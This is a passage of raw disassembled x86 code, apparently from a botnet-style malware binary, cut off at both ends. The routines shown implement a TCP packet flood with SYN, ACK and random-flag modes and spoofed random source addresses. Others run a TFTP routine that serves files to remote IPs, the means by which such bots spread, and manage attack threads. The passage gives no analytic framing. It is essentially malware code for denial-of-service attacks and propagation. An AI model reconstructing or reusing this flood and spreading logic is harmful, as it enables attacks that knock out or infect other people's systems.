[ebp+74h+var_88], 70h mov [ebp+74h+var_86], 71h mov [ebp+74h+var_84], 72h mov [ebp+74h+var_82], 73h mov [ebp+74h+var_80], 74h mov [ebp+74h+var_7E], 75h mov [ebp+74h+var_7C], 76h mov [ebp+74h+var_7A], 77h mov [ebp+74h+var_78], 78h mov [ebp+74h+var_76], 79h mov [ebp+74h+var_74], 7Ah mov [ebp+74h+var_72], 7Bh mov [ebp+74h+var_70], 7Ch mov [ebp+74h+var_6E], 7Dh mov [ebp+74h+var_6C], 7Eh mov [ebp+74h+var_6A], 7Fh mov [ebp+74h+var_68], 0ADh mov [ebp+74h+var_66], 0AEh mov [ebp+74h+var_64], 0AFh mov [ebp+74h+var_62], 0B0h mov [ebp+74h+var_60], 0B1h mov [ebp+74h+var_5E], 0B2h mov [ebp+74h+var_5C], 0B3h mov [ebp+74h+var_5A], 0B4h mov [ebp+74h+var_58], 0B5h mov [ebp+74h+var_56], 0B6h mov [ebp+74h+var_54], 0B7h mov [ebp+74h+var_52], 0B8h mov [ebp+74h+var_50], 0B9h mov [ebp+74h+var_4E], 0BAh mov [ebp+74h+var_4C], 0BBh mov [ebp+74h+var_4A], 0BDh mov [ebp+74h+var_48], 0BEh mov [ebp+74h+var_46], 0C5h mov [ebp+74h+var_44], 0DFh mov [ebp+74h+var_42], 0E0h mov [ebp+74h+var_40], 0E1h mov [ebp+74h+var_3E], 0E2h mov [ebp+74h+var_3C], 0E3h mov [ebp+74h+var_3A], 0E4h mov [ebp+74h+var_38], 0E5h mov [ebp+74h+var_36], 0E6h mov [ebp+74h+var_34], 0E7h mov [ebp+74h+var_32], 0E8h mov [ebp+74h+var_30], 0E9h mov [ebp+74h+var_2E], 0EAh mov [ebp+74h+var_2C], 0EBh mov [ebp+74h+var_2A], 0ECh mov [ebp+74h+var_28], 0EDh mov [ebp+74h+var_26], 0EEh mov [ebp+74h+var_24], 0EFh mov [ebp+74h+var_22], 0F0h mov [ebp+74h+var_20], 0F1h mov [ebp+74h+var_1E], 0F2h mov [ebp+74h+var_1C], 0F3h mov [ebp+74h+var_1A], 0F4h mov [ebp+74h+var_18], 0F5h mov [ebp+74h+var_16], 0F6h mov [ebp+74h+var_14], 0F7h mov [ebp+74h+var_12], 0F8h mov [ebp+74h+var_10], 0F9h mov [ebp+74h+var_E], 0FAh mov [ebp+74h+var_C], 0FBh mov [ebp+74h+var_A], 0FCh mov [ebp+74h+var_8], 0FDh mov [ebp+74h+var_6], 0FEh mov [ebp+74h+var_4], 0FFh loc_4103ED: ; CODE XREF: sub_41013C+2BFj movsx ecx, [ebp+eax*2+74h+var_E4] cmp [ebp+74h+arg_0], ecx jz short loc_410404 inc eax cmp eax, 71h jb short loc_4103ED xor al, al loc_4103FF: ; CODE XREF: sub_41013C+2CAj add ebp, 74h leave retn ; --------------------------------------------------------------------------- loc_410404: ; CODE XREF: sub_41013C+2B9j mov al, 1 jmp short loc_4103FF sub_41013C endp ; =============== S U B R O U T I N E ======================================= sub_410408 proc near ; CODE XREF: sub_41046C+1B9p push ebx push esi push edi call sub_412D71 mov edi, 0FFh jmp short loc_41041C ; --------------------------------------------------------------------------- loc_410417: ; CODE XREF: sub_410408+24j call sub_412D71 loc_41041C: ; CODE XREF: sub_410408+Dj cdq mov ecx, edi idiv ecx mov esi, edx push esi call sub_41013C test al, al pop ecx jnz short loc_410417 call sub_412D71 cdq mov edi, 100h mov ecx, edi idiv ecx mov ebx, edx call sub_412D71 cdq idiv edi mov edi, edx call sub_412D71 cdq mov ecx, 0FEh idiv ecx mov eax, edx inc eax shl eax, 8 add eax, edi shl eax, 8 add eax, ebx shl eax, 8 pop edi add eax, esi pop esi pop ebx retn sub_410408 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_41046C proc near ; DATA XREF: sub_4078FA+4F6Do var_13B0 = word ptr -13B0h var_BE0 = byte ptr -0BE0h var_BDF = byte ptr -0BDFh var_BCC = byte ptr -0BCCh var_BC0 = byte ptr -0BC0h var_BB8 = byte ptr -0BB8h var_410 = byte ptr -410h var_210 = dword ptr -210h var_20C = byte ptr -20Ch var_18C = byte ptr -18Ch var_10C = byte ptr -10Ch var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = dword ptr -70h var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = byte ptr -60h var_5F = byte ptr -5Fh var_5E = word ptr -5Eh var_5C = byte ptr -5Ch var_48 = qword ptr -48h var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = byte ptr -30h var_2E = word ptr -2Eh var_2C = word ptr -2Ch var_2A = word ptr -2Ah var_28 = byte ptr -28h var_27 = byte ptr -27h var_26 = word ptr -26h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 13B0h call sub_412DD0 mov eax, [ebp+arg_0] and [ebp+var_BE0], 0 push ebx push esi push edi mov ebx, ds:dword_41F004 mov esi, eax push 6Ah pop ecx lea edi, [ebp+var_210] rep movsd xor esi, esi inc esi mov [eax+1A4h], esi xor eax, eax mov ecx, 1F3h lea edi, [ebp+var_BDF] rep stosd stosw stosb call ebx push eax call sub_412D64 pop ecx push 0FFh push 3 push 2 call dword_4334A0 cmp eax, 0FFFFFFFFh mov [ebp+var_18], eax jnz short loc_410535 call dword_433558 push eax lea eax, [ebp+var_410] push offset aTcpErrorSocket ; "[TCP]: Error: socket() failed, returned"... push eax call sub_412BB5 xor esi, esi add esp, 0Ch cmp [ebp+var_70], esi jnz short loc_410516 loc_4104F6: ; CODE XREF: sub_41046C+5B1j push esi push [ebp+var_74] lea eax, [ebp+var_410] push eax lea eax, [ebp+var_10C] push eax push [ebp+var_210] call sub_4045DD add esp, 14h loc_410516: ; CODE XREF: sub_41046C+88j ; sub_41046C+5ABj lea eax, [ebp+var_410] push eax call sub_401C33 push [ebp+var_8C] call sub_4111AE pop ecx pop ecx push esi jmp loc_4109DB ; --------------------------------------------------------------------------- loc_410535: ; CODE XREF: sub_41046C+66j push 4 lea ecx, [ebp+var_38] push ecx push 2 xor edi, edi push edi push eax mov [ebp+var_38], esi call dword_4334BC cmp eax, 0FFFFFFFFh jnz short loc_410578 call dword_433558 push eax lea eax, [ebp+var_410] push offset aTcpErrorSetsoc ; "[TCP]: Error: setsockopt() failed, retu"... push eax call sub_412BB5 add esp, 0Ch loc_41056A: ; CODE XREF: sub_41046C+131j cmp [ebp+var_70], edi jnz loc_4109C1 jmp loc_4109A1 ; --------------------------------------------------------------------------- loc_410578: ; CODE XREF: sub_41046C+E1j lea eax, [ebp+var_20C] push eax call dword_433514 cmp eax, 0FFFFFFFFh jnz short loc_41059F lea eax, [ebp+var_410] push offset aTcpInvalidTarg ; "[TCP]: Invalid target IP." push eax call sub_412BB5 pop ecx pop ecx jmp short loc_41056A ; --------------------------------------------------------------------------- loc_41059F: ; CODE XREF: sub_41046C+11Cj xor eax, eax lea edi, [ebp+var_48] stosd stosd stosd stosd xor edi, edi push edi mov word ptr [ebp+var_48], 2 call dword_4335EC mov word ptr [ebp+var_48+2], ax lea eax, [ebp+var_20C] push eax call dword_433514 mov dword ptr [ebp+var_48+4], eax mov [ebp+arg_0], edi call ebx mov [ebp+var_34], eax mov [ebp+var_30], 45h mov [ebp+var_2C], si mov [ebp+var_2A], di mov [ebp+var_27], 6 call ebx sub eax, [ebp+var_34] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp+var_7C] ja loc_410956 and [ebp+var_60], 0 mov byte ptr [ebp+var_8], 50h mov word ptr [ebp+var_8+6], di mov [ebp+var_5F], 6 loc_41060A: ; CODE XREF: sub_41046C+4E4j call sub_412D71 cdq mov ecx, 80h idiv ecx mov [ebp+var_26], di add dl, cl cmp [ebp+var_78], edi mov [ebp+var_28], dl jz short loc_41062C call sub_410408 jmp short loc_41063F ; --------------------------------------------------------------------------- loc_41062C: ; CODE XREF: sub_41046C+1B7j push [ebp+var_210] call sub_406C33 pop ecx push eax call dword_433514 loc_41063F: ; CODE XREF: sub_41046C+1BEj cmp [ebp+var_80], edi mov [ebp+var_24], eax jz short loc_41066F call sub_412D71 mov esi, eax call sub_412D71 add eax, esi cdq idiv [ebp+var_80] push dword ptr [ebp+var_48+4] mov esi, edx call dword_433570 add eax, esi push eax call dword_4335C4 jmp short loc_410672 ; --------------------------------------------------------------------------- loc_41066F: ; CODE XREF: sub_41046C+1D9j mov eax, dword ptr [ebp+var_48+4] loc_410672: ; CODE XREF: sub_41046C+201j cmp [ebp+var_88], edi mov [ebp+var_20], eax jnz short loc_4106BE call sub_412D71 mov esi, eax inc esi call sub_412D71 cdq idiv esi push ecx push ecx mov [ebp+var_1C], eax fild [ebp+var_1C] fstp [esp+8+var_8] call sub_414670 pop ecx pop ecx call sub_414794 mov esi, eax call sub_412D71 add eax, esi cdq mov ecx, 0FBFEh idiv ecx add edx, 401h push edx jmp short loc_4106C4 ; --------------------------------------------------------------------------- loc_4106BE: ; CODE XREF: sub_41046C+20Fj push [ebp+var_88] loc_4106C4: ; CODE XREF: sub_41046C+250j call dword_4335EC cmp [ebp+var_84], edi mov [ebp+var_12], ax jnz short loc_410717 call sub_412D71 mov esi, eax inc esi call sub_412D71 cdq idiv esi push ecx push ecx mov [ebp+var_1C], eax fild [ebp+var_1C] fstp [esp+8+var_8] call sub_414670 pop ecx pop ecx call sub_414794 mov esi, eax call sub_412D71 add eax, esi cdq mov ecx, 0FBFEh idiv ecx add edx, 401h push edx jmp short loc_41071D ; --------------------------------------------------------------------------- loc_410717: ; CODE XREF: sub_41046C+268j push [ebp+var_84] loc_41071D: ; CODE XREF: sub_41046C+2A9j call dword_4335EC mov [ebp+var_14], ax call sub_412D71 cdq mov esi, 100h mov ecx, esi idiv ecx mov ebx, edx shl ebx, 8 call sub_412D71 cdq mov ecx, esi idiv ecx add ebx, edx shl ebx, 8 call sub_412D71 cdq mov ecx, esi idiv ecx add ebx, edx shl ebx, 8 call sub_412D71 cdq idiv esi add ebx, edx mov [ebp+var_10], ebx call sub_412D71 shl eax, 1 cdq mov ecx, 578h idiv ecx lea eax, [ebp+var_18C] push offset aSyn_0 ; "syn" push eax mov ebx, edx call sub_413920 test eax, eax pop ecx pop ecx jz short loc_410797 mov [ebp+var_C], edi mov byte ptr [ebp+var_8+1], 2 jmp short loc_410809 ; --------------------------------------------------------------------------- loc_410797: ; CODE XREF: sub_41046C+320j lea eax, [ebp+var_18C] push offset aAck ; "ack" push eax call sub_413920 test eax, eax pop ecx pop ecx jz short loc_4107C3 call sub_412D71 mov esi, eax shl esi, 10h call sub_412D71 mov byte ptr [ebp+var_8+1], 18h jmp short loc_410804 ; --------------------------------------------------------------------------- loc_4107C3: ; CODE XREF: sub_41046C+340j lea eax, [ebp+var_18C] push offset aRandom_0 ; "random" push eax call sub_413920 test eax, eax pop ecx pop ecx jz short loc_410809 call sub_412D71 push 2 cdq pop ecx idiv ecx test edx, edx jnz short loc_4107F1 mov byte ptr [ebp+var_8+1], cl mov [ebp+var_C], edi jmp short loc_410809 ; --------------------------------------------------------------------------- loc_4107F1: ; CODE XREF: sub_41046C+37Bj mov byte ptr [ebp+var_8+1], 18h call sub_412D71 mov esi, eax shl esi, 10h call sub_412D71 loc_410804: ; CODE XREF: sub_41046C+355j or esi, eax mov [ebp+var_C], esi loc_410809: ; CODE XREF: sub_41046C+329j ; sub_41046C+36Cj ... lea eax, [ebx+28h] push eax call dword_4335EC push 2000h mov [ebp+var_2E], ax call dword_4335EC mov word ptr [ebp+var_8+2], ax mov eax, [ebp+var_24] mov [ebp+var_68], eax mov eax, [ebp+var_20] mov [ebp+var_64], eax lea eax, [ebx+14h] push eax mov word ptr [ebp+var_8+4], di call dword_4335EC mov [ebp+var_5E], ax mov eax, ebx cdq sub eax, edx mov esi, eax sar esi, 1 cmp esi, edi jle short loc_410863 loc_410851: ; CODE XREF: sub_41046C+3F5j call sub_412D71 mov [ebp+edi*2+var_13B0], ax inc edi cmp edi, esi jl short loc_410851 loc_410863: ; CODE XREF: sub_41046C+3E3j push 5 pop ecx push 8 lea esi, [ebp+var_14] lea edi, [ebp+var_5C] rep movsd pop ecx lea esi, [ebp+var_68] lea edi, [ebp+var_BE0] rep movsd mov ecx, ebx mov eax, ecx shr ecx, 2 lea esi, [ebp+var_13B0] lea edi, [ebp+var_BC0] rep movsd mov ecx, eax lea eax, [ebx+20h] push eax lea eax, [ebp+var_BE0] and ecx, 3 push eax rep movsb call sub_406C89 push 5 pop ecx push 5 mov word ptr [ebp+var_8+4], ax lea esi, [ebp+var_30] lea edi, [ebp+var_BE0] rep movsd pop ecx lea esi, [ebp+var_14] lea edi, [ebp+var_BCC] rep movsd mov ecx, ebx mov eax, ecx shr ecx, 2 lea esi, [ebp+var_13B0] lea edi, [ebp+var_BB8] rep movsd mov ecx, eax and ecx, 3 rep movsb xor eax, eax lea edi, [ebp+ebx+var_BB8] stosd add ebx, 28h lea eax, [ebp+var_BE0] push ebx push eax call sub_406C89 add esp, 10h push 5 pop ecx push 10h mov [ebp+var_26], ax lea esi, [ebp+var_30] lea edi, [ebp+var_BE0] lea eax, [ebp+var_48] push eax rep movsd xor esi, esi push esi push ebx lea eax, [ebp+var_BE0] push eax push [ebp+var_18] call dword_433470 cmp eax, 0FFFFFFFFh jz loc_4109E1 inc [ebp+arg_0] call ds:dword_41F004 sub eax, [ebp+var_34] xor edx, edx mov ecx, 3E8h div ecx xor edi, edi cmp eax, [ebp+var_7C] jbe loc_41060A loc_410956: ; CODE XREF: sub_41046C+188j push [ebp+var_18] call dword_4335AC mov eax, [ebp+arg_0] imul eax, 7D0h mov ecx, eax shr eax, 0Ah xor edx, edx div [ebp+var_7C] shr ecx, 14h push ecx push eax push [ebp+arg_0] lea eax, [ebp+var_20C] push eax lea eax, [ebp+var_18C] push eax lea eax, [ebp+var_410] push offset aTcpDoneWithSFl ; "[TCP]: Done with %s flood to IP: %s. Se"... push eax call sub_412BB5 add esp, 1Ch cmp [ebp+var_70], edi jnz short loc_4109C1 loc_4109A1: ; CODE XREF: sub_41046C+107j push edi push [ebp+var_74] lea eax, [ebp+var_410] push eax lea eax, [ebp+var_10C] push eax push [ebp+var_210] call sub_4045DD add esp, 14h loc_4109C1: ; CODE XREF: sub_41046C+101j ; sub_41046C+533j lea eax, [ebp+var_410] push eax call sub_401C33 push [ebp+var_8C] call sub_4111AE pop ecx pop ecx push edi loc_4109DB: ; CODE XREF: sub_41046C+C4j call ds:dword_41F014 loc_4109E1: ; CODE XREF: sub_41046C+4C4j push [ebp+var_18] call dword_4335AC call dword_433558 push eax push [ebp+arg_0] lea eax, [ebp+var_20C] push eax push offset aTcpErrorSendin ; "[TCP]: Error sending packets to IP: %s."... lea eax, [ebp+var_410] push 200h push eax call sub_412E0D add esp, 18h cmp [ebp+var_70], esi jnz loc_410516 jmp loc_4104F6 sub_41046C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=74h sub_410A22 proc near ; CODE XREF: sub_410A22:loc_410EDBp ; DATA XREF: sub_401141+107o ... var_884 = dword ptr -884h var_880 = dword ptr -880h var_780 = byte ptr -780h var_580 = byte ptr -580h var_57F = byte ptr -57Fh var_57E = byte ptr -57Eh var_57D = byte ptr -57Dh var_57C = byte ptr -57Ch var_37C = dword ptr -37Ch var_378 = byte ptr -378h var_274 = byte ptr -274h var_170 = dword ptr -170h var_16C = dword ptr -16Ch var_168 = dword ptr -168h var_164 = byte ptr -164h var_E4 = dword ptr -0E4h var_E0 = dword ptr -0E0h var_D8 = byte ptr -0D8h var_D7 = byte ptr -0D7h var_D6 = byte ptr -0D6h var_D5 = byte ptr -0D5h var_58 = byte ptr -58h var_44 = word ptr -44h var_42 = word ptr -42h var_40 = dword ptr -40h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = byte ptr -2Ch var_28 = dword ptr -28h var_1C = byte ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp lea ebp, [esp-74h] sub esp, 884h mov edx, [ebp+74h+arg_0] push ebx push esi push edi mov esi, offset aOctet ; "octet" lea edi, [ebp+74h+var_1C] movsd movsw xor ebx, ebx push ebx xor eax, eax inc eax mov esi, edx push 2 mov ecx, 0A9h lea edi, [ebp+74h+var_37C] rep movsd inc [ebp+74h+var_16C] push 2 mov [ebp+74h+var_10], eax mov [edx+2A0h], eax call dword_4334A0 mov esi, eax cmp esi, 0FFFFFFFFh mov [ebp+74h+var_4], esi jnz short loc_410ADE push 190h call ds:dword_41F000 call dword_433558 push eax lea eax, [ebp+74h+var_780] push offset aTftpErrorSocke ; "[TFTP]: Error: socket() failed, returne"... push eax call sub_412BB5 add esp, 0Ch cmp [ebp+74h+var_E0], ebx jnz short loc_410AC1 push ebx push [ebp+74h+var_E4] lea eax, [ebp+74h+var_780] push eax lea eax, [ebp+74h+var_164] push eax push [ebp+74h+var_37C] call sub_4045DD add esp, 14h loc_410AC1: ; CODE XREF: sub_410A22+7Dj lea eax, [ebp+74h+var_780] push eax call sub_401C33 push [ebp+74h+var_170] call sub_4111AE pop ecx jmp loc_410EC7 ; --------------------------------------------------------------------------- loc_410ADE: ; CODE XREF: sub_410A22+52j mov eax, [ebp+74h+var_170] push [ebp+74h+var_168] imul eax, 234h mov dword_434344[eax], esi xor eax, eax lea edi, [ebp+74h+var_44] stosd stosd stosd stosd mov [ebp+74h+var_44], 2 call dword_4335EC mov [ebp+74h+var_42], ax push 10h lea eax, [ebp+74h+var_44] push eax push esi mov [ebp+74h+var_40], ebx call dword_433578 cmp eax, 0FFFFFFFFh jnz short loc_410B3D push 1388h call ds:dword_41F000 dec [ebp+74h+var_16C] push [ebp+74h+arg_0] jmp loc_410EDB ; --------------------------------------------------------------------------- loc_410B3D: ; CODE XREF: sub_410A22+100j lea eax, [ebp+74h+var_378] push offset dword_41F968 push eax call sub_413393 cmp eax, ebx pop ecx pop ecx mov [ebp+74h+var_8], eax jnz short loc_410BB6 push 190h call ds:dword_41F000 lea eax, [ebp+74h+var_378] push eax lea eax, [ebp+74h+var_780] push offset aTftpFailedToOp ; "[TFTP]: Failed to open file: %s." push eax call sub_412BB5 push ebx push [ebp+74h+var_E4] lea eax, [ebp+74h+var_780] push eax lea eax, [ebp+74h+var_164] push eax push [ebp+74h+var_37C] call sub_4045DD lea eax, [ebp+74h+var_780] push eax call sub_401C33 push [ebp+74h+var_170] call sub_4111AE add esp, 28h jmp loc_410EC8 ; --------------------------------------------------------------------------- loc_410BB6: ; CODE XREF: sub_410A22+133j mov esi, 200h loc_410BBB: ; CODE XREF: sub_410A22+471j mov edi, [ebp+74h+arg_0] cmp [edi+2A0h], ebx jz loc_410E9C mov eax, [ebp+74h+var_4] push 20h pop ecx mov [ebp+74h+var_880], eax xor eax, eax lea edi, [ebp+74h+var_D8] rep stosd lea eax, [ebp+74h+var_34] push eax push ebx push ebx lea eax, [ebp+74h+var_884] push eax push ebx mov [ebp+74h+var_34], 5 mov [ebp+74h+var_30], 1388h mov [ebp+74h+var_884], 1 call dword_433544 test eax, eax jle loc_410E90 xor eax, eax mov edx, 80h mov [ebp+74h+var_580], bl mov ecx, edx lea edi, [ebp+74h+var_57F] rep stosd stosw stosb lea eax, [ebp+74h+var_C] push eax lea eax, [ebp+74h+var_2C] push eax push ebx push edx lea eax, [ebp+74h+var_D8] push eax push [ebp+74h+var_4] mov [ebp+74h+var_C], 10h call dword_433438 push [ebp+74h+var_28] mov [ebp+74h+var_10], eax call dword_433520 push eax lea eax, [ebp+74h+var_58] push eax call sub_412BB5 cmp [ebp+74h+var_D8], bl pop ecx pop ecx jnz loc_410E78 cmp [ebp+74h+var_D7], 1 jnz loc_410DD3 lea eax, [ebp+74h+var_274] lea edx, [eax+1] loc_410C7D: ; CODE XREF: sub_410A22+260j mov cl, [eax] inc eax cmp cl, bl jnz short loc_410C7D sub eax, edx mov [ebp+74h+var_14], eax lea eax, [ebp+74h+var_274] lea edi, [eax+1] loc_410C92: ; CODE XREF: sub_410A22+275j mov cl, [eax] inc eax cmp cl, bl jnz short loc_410C92 sub eax, edi push eax lea eax, [ebp+74h+var_D6] push eax lea eax, [ebp+74h+var_274] push eax call sub_414380 add esp, 0Ch test eax, eax jnz loc_410D91 lea eax, [ebp+74h+var_1C] lea edx, [eax+1] loc_410CBD: ; CODE XREF: sub_410A22+2A0j mov cl, [eax] inc eax cmp cl, bl jnz short loc_410CBD sub eax, edx push eax mov eax, [ebp+74h+var_14] lea eax, [ebp+eax+74h+var_D5] push eax lea eax, [ebp+74h+var_1C] push eax call sub_414380 add esp, 0Ch test eax, eax jnz loc_410D91 push ebx push ebx push [ebp+74h+var_8] call sub_414898 push [ebp+74h+var_8] lea eax, [ebp+74h+var_57C] push esi push 1 push eax mov [ebp+74h+var_580], bl mov [ebp+74h+var_57F], 3 mov [ebp+74h+var_57E], bl mov [ebp+74h+var_57D], 1 call sub_41313E add esp, 1Ch push [ebp+74h+var_C] lea ecx, [ebp+74h+var_2C] push ecx mov [ebp+74h+var_10], eax push ebx add eax, 4 push eax lea eax, [ebp+74h+var_580] push eax push [ebp+74h+var_4] call dword_433470 lea eax, [ebp+74h+var_378] push eax lea eax, [ebp+74h+var_58] push eax push offset aTftpFileTransf ; "[TFTP]: File transfer started to IP: %s"... loc_410D4B: ; CODE XREF: sub_410A22+451j lea eax, [ebp+74h+var_780] push eax call sub_412BB5 add esp, 10h cmp [ebp+74h+var_E0], ebx jnz short loc_410D7F push ebx push [ebp+74h+var_E4] lea eax, [ebp+74h+var_780] push eax lea eax, [ebp+74h+var_164] push eax push [ebp+74h+var_37C] call sub_4045DD add esp, 14h loc_410D7F: ; CODE XREF: sub_410A22+33Bj lea eax, [ebp+74h+var_780] push eax call sub_401C33 pop ecx jmp loc_410E90 ; --------------------------------------------------------------------------- loc_410D91: ; CODE XREF: sub_410A22+28Fj ; sub_410A22+2BBj push [ebp+74h+var_C] lea eax, [ebp+74h+var_2C] push eax push ebx push 13h push offset dword_42734C push [ebp+74h+var_4] call dword_433470 lea eax, [ebp+74h+var_274] push eax lea eax, [ebp+74h+var_58] push eax lea eax, [ebp+74h+var_D8] push offset aTftpFileNotFou ; "[TFTP]: File not found: %s (%s)." push eax call sub_412BB5 lea eax, [ebp+74h+var_D8] push eax call sub_401C33 add esp, 14h jmp loc_410E90 ; --------------------------------------------------------------------------- loc_410DD3: ; CODE XREF: sub_410A22+24Cj cmp [ebp+74h+var_D7], 4 jnz loc_410E78 mov cl, [ebp+74h+var_D5] cmp cl, 0FFh mov al, [ebp+74h+var_D6] mov [ebp+74h+var_580], bl mov [ebp+74h+var_57F], 3 jnz short loc_410E01 inc al xor cl, cl mov [ebp+74h+var_57D], bl jmp short loc_410E09 ; --------------------------------------------------------------------------- loc_410E01: ; CODE XREF: sub_410A22+3D1j inc cl mov [ebp+74h+var_57D], cl loc_410E09: ; CODE XREF: sub_410A22+3DDj mov [ebp+74h+var_57E], al movzx eax, al shl eax, 8 movzx ecx, cl add eax, ecx shl eax, 9 push ebx sub eax, esi push eax push [ebp+74h+var_8] call sub_414898 push [ebp+74h+var_8] lea eax, [ebp+74h+var_57C] push esi push 1 push eax call sub_41313E add esp, 1Ch push [ebp+74h+var_C] mov edi, eax lea eax, [ebp+74h+var_2C] push eax push ebx lea eax, [edi+4] push eax lea eax, [ebp+74h+var_580] push eax push [ebp+74h+var_4] mov [ebp+74h+var_10], edi call dword_433470 cmp edi, ebx jnz short loc_410E90 lea eax, [ebp+74h+var_378] push eax lea eax, [ebp+74h+var_58] push eax push offset aTftpFileTran_0 ; "[TFTP]: File transfer complete to IP: %"... jmp loc_410D4B ; --------------------------------------------------------------------------- loc_410E78: ; CODE XREF: sub_410A22+242j ; sub_410A22+3B5j push [ebp+74h+var_C] lea eax, [ebp+74h+var_2C] push eax push ebx push 9 push offset dword_4272EC push [ebp+74h+var_4] call dword_433470 loc_410E90: ; CODE XREF: sub_410A22+1E9j ; sub_410A22+36Aj ... cmp [ebp+74h+var_10], ebx jg loc_410BBB mov edi, [ebp+74h+arg_0] loc_410E9C: ; CODE XREF: sub_410A22+1A2j push [ebp+74h+var_4] call dword_4335AC push [ebp+74h+var_8] call sub_412F93 dec [ebp+74h+var_16C] cmp [edi+2A0h], ebx pop ecx jnz short loc_410ECF push [ebp+74h+var_170] call sub_4111AE loc_410EC7: ; CODE XREF: sub_410A22+B7j pop ecx loc_410EC8: ; CODE XREF: sub_410A22+18Fj push ebx call ds:dword_41F014 loc_410ECF: ; CODE XREF: sub_410A22+498j push 3E8h call ds:dword_41F000 push edi loc_410EDB: ; CODE XREF: sub_410A22+116j call sub_410A22 pop edi pop esi pop ebx add ebp, 74h leave retn 4 sub_410A22 endp ; =============== S U B R O U T I N E ======================================= sub_410EEA proc near ; CODE XREF: sub_401141+F0p ; sub_401141+23Dp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi xor edi, edi mov eax, offset dword_434138 loc_410EF2: ; CODE XREF: sub_410EEA+18j cmp byte ptr [eax], 0 jz short loc_410F06 add eax, 234h inc edi cmp eax, offset dword_478EC8 jl short loc_410EF2 jmp short loc_410F51 ; --------------------------------------------------------------------------- loc_410F06: ; CODE XREF: sub_410EEA+Bj push esi mov esi, edi imul esi, 234h push 1FFh push [esp+0Ch+arg_0] lea eax, dword_434138[esi] push eax call sub_412C40 mov eax, [esp+14h+arg_4] and dword_43433C[esi], 0 and dword_434340[esi], 0 mov dword_434338[esi], eax mov eax, [esp+14h+arg_8] add esp, 0Ch and byte_434350[esi], 0 mov dword_434344[esi], eax pop esi loc_410F51: ; CODE XREF: sub_410EEA+1Aj mov eax, edi pop edi retn sub_410EEA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410F55 proc near ; CODE XREF: sub_4111EB+31p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push esi push edi push 0 push [ebp+arg_8] push offset aThreadList ; "-[Thread List]-" push [ebp+arg_4] push [ebp+arg_0] call sub_4045DD add esp, 14h xor edi, edi mov esi, offset dword_434138 loc_410F7F: ; CODE XREF: sub_410F55+78j cmp byte ptr [esi], 0 jz short loc_410FC0 cmp [ebp+arg_C], 0 jnz short loc_410F93 cmp dword ptr [esi+204h], 0 jnz short loc_410FC0 loc_410F93: ; CODE XREF: sub_410F55+33j push esi push edi lea eax, [ebp+var_200] push offset aD_S ; "%d. %s" push eax call sub_412BB5 push 1 push [ebp+arg_8] lea eax, [ebp+var_200] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4045DD add esp, 24h loc_410FC0: ; CODE XREF: sub_410F55+2Dj ; sub_410F55+3Cj add esi, 234h inc edi cmp esi, offset dword_478EC8 jl short loc_410F7F pop edi pop esi leave retn sub_410F55 endp ; =============== S U B R O U T I N E ======================================= sub_410FD3 proc near ; CODE XREF: sub_4078FA+38DCp ; sub_41105B+12p ... arg_0 = dword ptr 4 push ebx push ebp push esi mov esi, [esp+0Ch+arg_0] xor ebx, ebx xor ebp, ebp cmp esi, ebx jle short loc_411055 cmp esi, 1F4h jge short loc_411055 imul esi, 234h push edi push ebx lea edi, dword_43434C[esi] push dword ptr [edi] call ds:dword_41F0C8 cmp [edi], ebx jz short loc_411005 inc ebp loc_411005: ; CODE XREF: sub_410FD3+2Fj mov [edi], ebx lea edi, dword_434340[esi] mov eax, [edi] cmp eax, ebx mov dword_434338[esi], ebx mov dword_43433C[esi], ebx jbe short loc_411026 push eax call sub_4074C6 pop ecx loc_411026: ; CODE XREF: sub_410FD3+4Aj mov [edi], ebx lea edi, dword_434344[esi] push dword ptr [edi] mov byte ptr dword_434138[esi], bl mov byte_434350[esi], bl call dword_4335AC lea esi, dword_434348[esi] push dword ptr [esi] mov [edi], ebx call dword_4335AC mov [esi], ebx pop edi loc_411055: ; CODE XREF: sub_410FD3+Dj ; sub_410FD3+15j pop esi mov eax, ebp pop ebp pop ebx retn sub_410FD3 endp ; =============== S U B R O U T I N E ======================================= sub_41105B proc near ; CODE XREF: sub_402795+18p ; sub_4078FA+3895p ... push ebx push esi push edi xor ebx, ebx xor edi, edi mov esi, offset dword_434138 loc_411067: ; CODE XREF: sub_41105B+2Aj cmp byte ptr [esi], 0 jz short loc_411078 push edi call sub_410FD3 test eax, eax pop ecx jz short loc_411078 inc ebx loc_411078: ; CODE XREF: sub_41105B+Fj ; sub_41105B+1Aj add esi, 234h inc edi cmp esi, offset dword_478EC8 jl short loc_411067 pop edi pop esi mov eax, ebx pop ebx retn sub_41105B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41108D proc near ; CODE XREF: sub_411120+1Dp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_4] mov [ebp+var_4], ebx mov esi, offset dword_43433C loc_4110A1: ; CODE XREF: sub_41108D+43j mov eax, [esi-4] cmp eax, [ebp+arg_0] jnz short loc_4110C3 test edi, edi jle short loc_4110B5 cmp [esi], edi jz short loc_4110B5 cmp ebx, edi jnz short loc_4110C3 loc_4110B5: ; CODE XREF: sub_41108D+1Ej ; 